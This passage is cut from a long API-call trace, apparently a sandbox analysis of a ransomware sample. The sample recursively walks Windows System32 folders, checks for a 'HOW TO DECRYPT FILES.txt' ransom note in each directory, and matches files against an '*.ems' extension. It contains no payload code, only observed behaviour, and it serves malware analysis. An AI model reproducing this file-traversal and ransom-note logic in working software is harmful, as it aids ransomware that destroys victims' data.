nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0144.286] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.286] PathFindFileNameA (pszPath="C:\\Windows\\System32\\compstui.dll") returned="compstui.dll" [0144.286] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.286] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.286] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.286] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.287] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="ComputerDefaults.exe" | out: lpString1="C:\\Windows\\System32\\ComputerDefaults.exe") returned="C:\\Windows\\System32\\ComputerDefaults.exe" [0144.287] PathMatchSpecA (pszFile="C:\\Windows\\System32\\ComputerDefaults.exe", pszSpec="*.ems") returned 0 [0144.287] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0144.287] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.288] PathFindFileNameA (pszPath="C:\\Windows\\System32\\ComputerDefaults.exe") returned="ComputerDefaults.exe" [0144.288] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.288] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.288] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.288] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.288] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comrepl.dll" | out: lpString1="C:\\Windows\\System32\\comrepl.dll") returned="C:\\Windows\\System32\\comrepl.dll" [0144.288] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comrepl.dll", pszSpec="*.ems") returned 0 [0144.288] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0144.288] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.289] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comrepl.dll") returned="comrepl.dll" [0144.289] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.289] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.289] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.289] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.289] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comres.dll" | out: lpString1="C:\\Windows\\System32\\comres.dll") returned="C:\\Windows\\System32\\comres.dll" [0144.289] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comres.dll", pszSpec="*.ems") returned 0 [0144.289] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0144.289] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.289] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comres.dll") returned="comres.dll" [0144.289] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.289] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.290] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.290] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.290] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comsnap.dll" | out: lpString1="C:\\Windows\\System32\\comsnap.dll") returned="C:\\Windows\\System32\\comsnap.dll" [0144.290] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comsnap.dll", pszSpec="*.ems") returned 0 [0144.290] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0144.290] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.290] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comsnap.dll") returned="comsnap.dll" [0144.290] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.290] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.290] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.290] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.291] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comsvcs.dll" | out: lpString1="C:\\Windows\\System32\\comsvcs.dll") returned="C:\\Windows\\System32\\comsvcs.dll" [0144.291] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comsvcs.dll", pszSpec="*.ems") returned 0 [0144.291] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0144.291] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.291] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comsvcs.dll") returned="comsvcs.dll" [0144.291] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.291] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.291] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.291] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.292] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comuid.dll" | out: lpString1="C:\\Windows\\System32\\comuid.dll") returned="C:\\Windows\\System32\\comuid.dll" [0144.292] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comuid.dll", pszSpec="*.ems") returned 0 [0144.292] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0144.292] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.293] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comuid.dll") returned="comuid.dll" [0144.293] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.293] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.293] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.293] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.293] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="concrt140.dll" | out: lpString1="C:\\Windows\\System32\\concrt140.dll") returned="C:\\Windows\\System32\\concrt140.dll" [0144.293] PathMatchSpecA (pszFile="C:\\Windows\\System32\\concrt140.dll", pszSpec="*.ems") returned 0 [0144.293] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf1e088, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="config", cAlternateFileName="")) returned 1 [0144.294] lstrcmpA (lpString1=".", lpString2="config") returned -1 [0144.294] lstrcmpA (lpString1="..", lpString2="config") returned -1 [0144.294] PathFindFileNameA (pszPath="C:\\Windows\\System32\\concrt140.dll") returned="concrt140.dll" [0144.294] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="config" | out: lpString1="C:\\Windows\\System32\\config") returned="C:\\Windows\\System32\\config" [0144.294] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf1e088, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.296] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.296] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf1e088, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.296] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.296] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.296] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Journal", cAlternateFileName="")) returned 1 [0144.296] lstrcmpA (lpString1=".", lpString2="Journal") returned -1 [0144.296] lstrcmpA (lpString1="..", lpString2="Journal") returned -1 [0144.296] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\*.*") returned="*.*" [0144.296] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\", lpString2="Journal" | out: lpString1="C:\\Windows\\System32\\config\\Journal") returned="C:\\Windows\\System32\\config\\Journal" [0144.296] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\Journal\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.297] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.297] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.297] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.297] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.297] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.297] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.297] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004a, dwReserved1=0x720075, cFileName="RegBack", cAlternateFileName="")) returned 1 [0144.297] lstrcmpA (lpString1=".", lpString2="RegBack") returned -1 [0144.297] lstrcmpA (lpString1="..", lpString2="RegBack") returned -1 [0144.297] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\*.*") returned="*.*" [0144.297] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\", lpString2="RegBack" | out: lpString1="C:\\Windows\\System32\\config\\RegBack") returned="C:\\Windows\\System32\\config\\RegBack" [0144.297] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\RegBack\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.298] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.298] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.298] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.298] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.298] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.298] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.298] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xef7f2e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650052, dwReserved1=0x420067, cFileName="systemprofile", cAlternateFileName="SYSTEM~1")) returned 1 [0144.298] lstrcmpA (lpString1=".", lpString2="systemprofile") returned -1 [0144.298] lstrcmpA (lpString1="..", lpString2="systemprofile") returned -1 [0144.298] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\*.*") returned="*.*" [0144.298] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\", lpString2="systemprofile" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile") returned="C:\\Windows\\System32\\config\\systemprofile" [0144.298] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xef7f2e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.299] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.299] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xef7f2e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.299] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.299] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.299] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x51ab36f5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x51ab36f5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0144.299] lstrcmpA (lpString1=".", lpString2="AppData") returned -1 [0144.299] lstrcmpA (lpString1="..", lpString2="AppData") returned -1 [0144.299] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\*.*") returned="*.*" [0144.299] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\", lpString2="AppData" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData" [0144.299] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x51ab36f5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x51ab36f5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0144.301] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.301] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x51ab36f5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x51ab36f5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.301] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.301] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.301] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0144.301] lstrcmpA (lpString1=".", lpString2="Local") returned -1 [0144.302] lstrcmpA (lpString1="..", lpString2="Local") returned -1 [0144.302] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\*.*") returned="*.*" [0144.302] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\", lpString2="Local" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local" [0144.302] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0144.302] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.302] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, 